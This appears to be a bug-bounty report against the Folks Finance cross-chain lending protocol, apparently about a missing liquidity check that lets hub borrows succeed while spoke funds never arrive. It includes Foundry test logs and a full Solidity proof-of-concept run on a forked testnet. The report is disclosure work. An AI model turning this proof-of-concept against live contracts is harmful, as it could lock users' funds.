Submitted on Mon Aug 05 2024 08:09:42 GMT-0400 (Atlantic Standard Time) by @A2Security for Boost | Folks Finance
Target: https://testnet.snowtrace.io/address/0x2cAa1315bd676FbecABFC3195000c642f503f1C9
The Hub doesn't check for available liquidity, leading to borrow/withdraw operation on the hub succeeding eventhough the spokeToken doesn't have enough liquidity. In the case of race conditions, e.g user A borrows 5000 ETH, and Whale B borrows/withdraws remaining liquidity from the ethHubPool. The borrow operation for user A will succeed, but the second part of the operation will revert. => This will lead to:
The higher the borrow amount, the bigger the chance that the user funds will be stuck (possibly forever , if the liquidity in the spoketoken, never reaches the wanted amount to borrow)
Please note that, such a scenario is highly likeable considering that Folks Finance is cross chain by design, and operations like borrow/withdraw from spoke chains != Avalanche , will require 2 cross-chain actions that requires bridging through wormhole/ccip (which will take considerable time to be executed, and make predicting available liquidity not an easy task for protocol users )
Copy function getSendTokenMessage(IBridgeRouter bridgeRouter, uint16 adapterId, uint256 gasLimit, bytes32 accountId, uint16 chainId, uint256 amount, bytes32 recipient)
external
override
onlyRole (HUB_ROLE)
nonReentrant
returns ( Messages . MessageToSend memory )
{
// check chain is compatible
bytes32 spokeAddress = getChainSpoke (chainId);
// prepare message
>> Messages.MessageParams memory params = Messages.MessageParams({adapterId: adapterId, returnAdapterId: 0, receiverValue: 0, gasLimit: gasLimit, returnGasLimit: 0});
As we can see in the message returnAdapterId is set to 0 meaning messages can't be reversed
An easy fix for this is to add a check for available liquidity to each a user actions that removes liquidity from a hubpool
(a side note we know that totaldebt here only includes principal and can in certain condition not be accurate, so we would also recommend adding a margin of safety (e.g 5%))
Copy Ran 1 test for test/pocs/test_poc.sol:Pocs
[PASS] test_poc06() (gas: 1632608 )
Logs:
variable Interest Rate 1 %
stable Interest Rate 8 %
depositData.totalAmount avax 248 avax
total debt hubpool avax 17 avax
Alice borrows 258 avax
Avax Alice Recieved 0
variable Interest Rate 271 %
stable Interest Rate 272 %
depositData.totalAmount avax 248 avax
total debt hubpool avax 276 avax
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 684 .53ms ( 9 .27ms CPU time)
Ran 1 test suite in 687 .47ms ( 684 .53ms CPU time): 1 tests passed, 0 failed, 0 skipped ( 1 total tests)
Copy // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import "@forge-std/Test.sol" ;
import "contracts/hub/Hub.sol" ;
import "contracts/spoke/SpokeToken.sol" ;
import "contracts/spoke/SpokeCommon.sol" ;
import "contracts/hub/HubPool.sol" ;
import "contracts/hub/LoanManager.sol" ;
import "contracts/bridge/libraries/Messages.sol" ;
import "contracts/hub/AccountManager.sol" ;
import "contracts/bridge/BridgeRouter.sol" ;
import "contracts/bridge/HubAdapter.sol" ;
import "contracts/oracle/modules/NodeManager.sol" ;
import "contracts/hub/OracleManager.sol" ;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol" ;
contract baseTest is Test {
using SafeERC20 for address ;
// Hub public hub;
uint256 mainnetFork;
bytes32 public constant PREFIX = "HUB_ADAPTER_V1" ;
address constant HUB_ADDRESS = 0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140 ; // Assuming this is the Hub address
address constant SPOKE_COMMON = 0x6628cE08b54e9C8358bE94f716D93AdDcca45b00 ;
address constant SPOKE_USDC = 0x89df7db4af48Ec7A84DE09F755ade9AF1940420b ;
address constant HUBPOOL_USDC = 0x1968237f3a7D256D08BcAb212D7ae28fEda72c34 ;
address constant HUBPOOL_AVAX = 0xd90B7614551E799Cdef87463143eCe2efd4054f9 ;
address constant SPOKE_AVAX = 0xBFf8b4e5f92eDD0A5f72b4b0E23cCa2Cc476ce2a ;
address constant LOAN_MANAGER = 0x2cAa1315bd676FbecABFC3195000c642f503f1C9 ;
address constant ACCOUNT_MANAGER = 0x3324B5BF2b5C85999C6DAf2f77b5a29aB74197cc ;
address constant USDC_TOKEN = 0x5425890298aed601595a70AB815c96711a31Bc65 ;
address constant ADAPTER = 0xf472ab58969709De9FfEFaeFFd24F9e90cf8DbF9 ;
address constant LISTING_ROLE = 0x16870a6A85cD152229B97d018194d66740f932d6 ;
address constant BRIDGE_ROUTER_HUB = 0xa9491a1f4f058832e5742b76eE3f1F1fD7bb6837 ;
address constant ORACLE_MANAGER = 0x46c425F4Ec43b25B6222bcc05De051e6D3845165 ;
address constant NODE_MANAGER = 0xA758c321DF6Cd949A8E074B22362a4366DB1b725 ;
uint16 constant STABELE_LOAN_TYPE_ID = 1 ;
uint16 constant VARIABLE_LOAN_TYPE_ID = 2 ;
uint16 constant CHAIN_ID = 1 ; // Assuming Ethereum mainnet
Hub hub;
SpokeCommon spokeCommon;
AccountManager accountManager;
SpokeToken spokeUsdc;
SpokeToken spokeAvax;
HubPool hubPoolUsdc;
HubPool hubPoolAvax;
LoanManager loanManager;
HubAdapter adapter;
BridgeRouter bridgeRouterHub;
NodeManager nodeManager;
OracleManager oracleManager;
Messages.MessageParams DUMMY_MESSAGE_PARAMS = Messages.MessageParams({adapterId: 1, returnAdapterId: 1, receiverValue: 0, gasLimit: 0, returnGasLimit: 0});
///// users account ids :
address bob = makeAddr ( "bob" );
address alice = makeAddr ( "alice" );
bytes32 bobAccountId;
bytes32 aliceAccountId;
bytes32 [] bobLoanIds;
bytes32 [] aliceLoanIds;
function setUp () public {
// Fork Avalanche mainnet
mainnetFork = vm. createFork ( "https://api.avax-test.network/ext/bc/C/rpc" , 35000569 );
vm. selectFork (mainnetFork);
// Initialize contracts
bridgeRouterHub = BridgeRouter (BRIDGE_ROUTER_HUB);
hub = Hub (HUB_ADDRESS);
spokeCommon = SpokeCommon (SPOKE_COMMON);
spokeUsdc = SpokeToken (SPOKE_USDC);
spokeAvax = SpokeToken (SPOKE_AVAX);
hubPoolUsdc = HubPool (HUBPOOL_USDC);
hubPoolAvax = HubPool (HUBPOOL_AVAX);
loanManager = LoanManager (LOAN_MANAGER);
accountManager = AccountManager (ACCOUNT_MANAGER);
adapter = HubAdapter (ADAPTER);
nodeManager = NodeManager (NODE_MANAGER);
oracleManager = OracleManager (ORACLE_MANAGER);
// create account ids for bob and alice :
address [] memory _users = new address []( 2 );
_users[ 0 ] = bob;
_users[ 1 ] = alice;
bytes32 [] memory ids = _createAccounts (_users);
bobAccountId = ids[ 0 ];
aliceAccountId = ids[ 1 ];
// create loanids for alice and bob :
bobLoanIds. push ( _createLoan (bobAccountId , bob , 1 , VARIABLE_LOAN_TYPE_ID));
bobLoanIds. push ( _createLoan (bobAccountId , bob , 2 , STABELE_LOAN_TYPE_ID));
aliceLoanIds. push ( _createLoan (aliceAccountId , alice , 1 , VARIABLE_LOAN_TYPE_ID));
aliceLoanIds. push ( _createLoan (aliceAccountId , alice , 2 , STABELE_LOAN_TYPE_ID));
// credit bob and alice with 1M usdc and 1000 avax each :
deal (USDC_TOKEN , bob , 1e12 );
deal (USDC_TOKEN , alice , 1e12 );
vm. deal (bob , 100000e18 );
vm. deal (alice , 100000e18 );
}
////////////////////////////////////// helpers ///////////////////////////////////////////
function _creditAvax ( address to , uint256 amount) internal {
vm. deal (to , amount);
}
function _creditUsdc ( address to , uint256 amount) internal {
deal (USDC_TOKEN , to , amount);
}
function _approveUsdc ( address from , address to , uint256 amount) internal {
vm. prank (from);
IERC20 (USDC_TOKEN). approve (to , amount);
}
function _createAccounts ( address [] memory users) internal returns ( bytes32 [] memory ) {
bytes32 id;
bytes32 [] memory ids = new bytes32 [](users.length);
for ( uint256 i = 0 ; i < users.length; i ++ ) {
id = keccak256 (abi. encode (i , "testing" ));
vm. prank (users[i]);
spokeCommon. createAccount (DUMMY_MESSAGE_PARAMS , id , "" );
assertTrue (accountManager. isAccountCreated (id));
ids[i] = id;
}
return ids;
}
function _createLoan ( bytes32 accId , address _sender , uint256 nonce , uint16 _loanType ) internal returns ( bytes32 ) {
bytes32 loanId = keccak256 (abi. encode (accId , nonce , "loan" ));
uint16 loanType = _loanType;
bytes32 loanName = keccak256 (abi. encode (loanId , loanType));
// create the loan :
vm. prank (_sender);
spokeCommon. createLoan (DUMMY_MESSAGE_PARAMS , accId , loanId , loanType , loanName);
// check if the loan is created :
assertTrue (loanManager. isUserLoanActive (loanId));
return loanId;
}
function _createLoanAndDeposit(bytes32 _accountId, address sender, uint256 nonce, uint16 loanType, uint256 _amount, SpokeToken spoke) internal {
bytes32 loanId = keccak256 (abi. encode (_accountId , nonce , "loan" ));
uint16 loanTypeId = loanType; // or VARIABLE_LOAN_TYPE_ID
bytes32 loanName = keccak256 (abi. encode (loanId , loanTypeId));
vm. prank (sender);
spoke. createLoanAndDeposit (DUMMY_MESSAGE_PARAMS , _accountId , loanId , _amount , loanTypeId , loanName);
}
function _createLoanAndDeposit(bytes32 _accountId, address sender, bytes32 _loanId, uint16 loanType, uint256 _amount, SpokeToken spoke) internal {
bytes32 loanId = _loanId;
uint16 loanTypeId = loanType; // or VARIABLE_LOAN_TYPE_ID
bytes32 loanName = keccak256 (abi. encode (loanId , loanTypeId));
vm. prank (sender);
spoke. createLoanAndDeposit (DUMMY_MESSAGE_PARAMS , _accountId , loanId , _amount , loanTypeId , loanName);
}
function _borrowVariable(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount) internal {
_borrow (sender , _accountId , _loanId , _poolId , _amount , 0 );
}
function _borrowStable(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount, uint256 _maxStableRate) internal {
_borrow (sender , _accountId , _loanId , _poolId , _amount , _maxStableRate);
}
function _borrow(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount, uint256 _maxStableRate) internal {
vm. prank (sender);
spokeCommon. borrow (DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _poolId , CHAIN_ID , _amount , _maxStableRate);
}
function _deposit(address sender, bytes32 _accountId, bytes32 _loanId, uint256 _amount, SpokeToken spoke) internal {
vm. prank (sender);
spoke. deposit (DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _amount);
}
function _depositAvax ( address sender , bytes32 _accountId , bytes32 _loanId , uint256 _amount ) internal {
vm. prank (sender);
spokeAvax.deposit{value : _amount}(DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _amount);
// spoke.deposit(DUMMY_MESSAGE_PARAMS, _accountId, _loanId, _amount);
}
function _withdraw(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount, bool isFAmount) internal {
vm. prank (sender);
spokeCommon. withdraw (DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _poolId , CHAIN_ID , _amount , isFAmount);
}
function _repay(address sender, bytes32 _accountId, bytes32 _loanId, uint256 _amount, SpokeToken spoke, uint256 maxOverRepayment) internal {
vm. prank (sender);
spoke. repay (DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _amount , maxOverRepayment);
}
function _repayWithCollateral(address sender, bytes32 _accountId, bytes32 _loanId, uint256 _amount, uint8 _poolId) internal {
vm. prank (sender);
spokeCommon. repayWithCollateral (DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _poolId , _amount);
}
function _getMsgId () internal view returns ( bytes32 ) {
uint256 s = adapter. sequence ();
return keccak256 (abi. encodePacked (PREFIX , s));
}
function _checkSeccuss ( bytes32 msgId) internal {
vm. expectEmit ();
emit BridgeRouter. MessageSucceeded ( 1 , msgId);
}
function _checkMessageSeccuss () internal {
// vm.exepctEmit(true,false,false);
// emit BridgeRouter.MessageSuccess(0,"");
}
}
Copy // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/utils/math/Math.sol" ;
import "./base_test.sol" ;
import "@forge-std/console.sol" ;
import "contracts/bridge/libraries/Messages.sol" ;
contract Pocs is baseTest {
using Math for uint256 ;
uint256 private constant SECONDS_IN_YEAR = 365 days ;
uint256 internal constant ONE_4_DP = 1e4 ;
uint256 internal constant ONE_6_DP = 1e6 ;
uint256 internal constant ONE_10_DP = 1e10 ;
uint256 internal constant ONE_12_DP = 1e12 ;
uint256 internal constant ONE_14_DP = 1e14 ;
uint256 internal constant ONE_18_DP = 1e18 ;
function _getStableRateUsdc () internal returns ( uint256 ) {
HubPoolState.StableBorrowData memory stableData = hubPoolUsdc. getStableBorrowData ();
return stableData.interestRate;
}
function _getVariableRateUsdc () internal returns ( uint256 ) {
HubPoolState.VariableBorrowData memory stableData = hubPoolUsdc. getVariableBorrowData ();
return stableData.interestRate;
}
function _getDepositTotalUsdc () internal returns ( uint256 ) {
HubPoolState.DepositData memory stableData = hubPoolUsdc. getDepositData ();
return stableData.totalAmount;
}
function _getTotalDebtUsdc () internal returns ( uint256 ) {
HubPoolState.VariableBorrowData memory variableData = hubPoolUsdc. getVariableBorrowData ();
HubPoolState.StableBorrowData memory stableData = hubPoolUsdc. getStableBorrowData ();
return stableData.totalAmount + variableData.totalAmount;
}
function _getStableRateAvax () internal returns ( uint256 ) {
HubPoolState.StableBorrowData memory stableData = hubPoolAvax. getStableBorrowData ();
return stableData.interestRate;
}
function _getVariableRateAvax () internal returns ( uint256 ) {
HubPoolState.VariableBorrowData memory stableData = hubPoolAvax. getVariableBorrowData ();
return stableData.interestRate;
}
function _getDepositTotalAvax () internal returns ( uint256 ) {
HubPoolState.DepositData memory stableData = hubPoolAvax. getDepositData ();
return stableData.totalAmount;
}
function _getTotalDebtAvax () internal returns ( uint256 ) {
HubPoolState.VariableBorrowData memory variableData = hubPoolAvax. getVariableBorrowData ();
HubPoolState.StableBorrowData memory stableData = hubPoolAvax. getStableBorrowData ();
return stableData.totalAmount + variableData.totalAmount;
}
function test_poc06 () public {
// initialize caps
vm. startPrank (LISTING_ROLE);
loanManager. updateLoanPoolCaps ( 1 , hubPoolAvax. getPoolId () , 1e12 , 1e12 );
hubPoolAvax. updateCapsData (HubPoolState. CapsData (type( uint64 ).max , type( uint64 ).max , 1e18 ));
loanManager. updateLoanPoolCaps ( 2 , hubPoolAvax. getPoolId () , 1e12 , 1e12 );
vm. stopPrank ();
// Deposit USDC as coll for alice
uint256 largeUsdcDeposit = 1e11 ; //
_approveUsdc (alice , address (spokeUsdc) , largeUsdcDeposit);
_deposit (alice , aliceAccountId , aliceLoanIds[ 0 ] , largeUsdcDeposit , spokeUsdc);
console. log ( "variable Interest Rate" , _getVariableRateAvax () / 1e16 , "%" );
console. log ( "stable Interest Rate " , _getStableRateAvax () / 1e16 , "%" );
console. log ( "depositData.totalAmount avax" , _getDepositTotalAvax () / 1e18 , "avax" );
console. log ( "total debt hubpool avax" , _getTotalDebtAvax () / 1e18 , "avax" );
uint256 borrowAmount = _getDepositTotalAvax () + 10e18 ; // 10 AVAX
uint256 alice_balance_before = alice.balance;
console. log ( "Alice borrows" , borrowAmount / 1e18 , "avax" );
_borrowVariable (alice , aliceAccountId , aliceLoanIds[ 0 ] , hubPoolAvax. getPoolId () , borrowAmount);
console. log ( "Avax Alice Recieved" , alice_balance_before - alice.balance);
console. log ( "variable Interest Rate" , _getVariableRateAvax () / 1e16 , "%" );
console. log ( "stable Interest Rate " , _getStableRateAvax () / 1e16 , "%" );
console. log ( "depositData.totalAmount avax" , _getDepositTotalAvax () / 1e18 , "avax" );
console. log ( "total debt hubpool avax" , _getTotalDebtAvax () / 1e18 , "avax" );
}
}